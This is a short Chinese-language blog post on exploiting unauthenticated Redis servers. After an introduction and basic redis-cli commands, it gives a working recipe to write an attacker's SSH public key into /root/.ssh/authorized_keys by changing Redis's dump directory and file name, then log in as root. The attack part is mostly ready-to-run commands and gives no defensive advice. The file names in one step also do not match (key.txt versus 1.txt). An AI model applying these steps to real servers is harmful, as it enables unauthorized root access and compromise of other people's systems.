zoukankan      html  css  js  c++  java
  • redis 漏洞利用

    redis介绍

        Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
        Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    redis基本命令

    1.连接redis:
    redis-cli是redis的客户端管理工具,可用apt-get install redis-tools 安装
    redis-cli -h 192.168.63.130 默认连接6379端口,空密码
    redis-cli -h x.x.x.x -p 16379 -a q1w2e3r4 -p端口,-a密码

    查看redis版本信息、一些具体信息、服务器版本信息等等:
    192.168.63.130:6379>info
    将变量x的值设为test:
    192.168.63.130:6379>set x "test"
    是把整个redis数据库删除,一般情况下不要用!!!
    192.168.63.130:6379>flushall
    查看所有键:
    192.168.63.130:6379>KEYS *
    获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

    192.168.63.130:6379>CONFIG GET dir 
    192.168.63.130:6379>CONFIG GET dbfilename
    

    redis写入ssh公钥getshell

    rsa是私钥,pub是公钥,把公钥写入目标redis的缓存中导出到目标的ssh目录,然后使用私钥登陆
    1.ssh生成密钥
    ssh-keygen -t rsa

    2.redis写入公钥
    注意:前后用\n换行,避免和Redis里其他缓存数据混合

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat /root/.ssh/1.txt | redis-cli -h 192.168.147.83 -p 16379 -a q1w2e3r4 -x set ssh
    

    3.导出
    设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

    config set dir /root/.ssh       //设置redis的备份路径为/root/.ssh
    config set dbfilename authorized_keys           //保存文件名authorized_keys
    save
    

    4.ssh使用私钥连接
    ssh -i id_rsa x.x.x.x -p 22198

  • 相关阅读:
    HTML5学习小结
    HTML和CSS的复习总结
    LOL UVALive
    E
    D
    C
    B
    D
    J
    css
  • 原文地址:https://www.cnblogs.com/supdon/p/13469108.html
Copyright © 2011-2022 走看看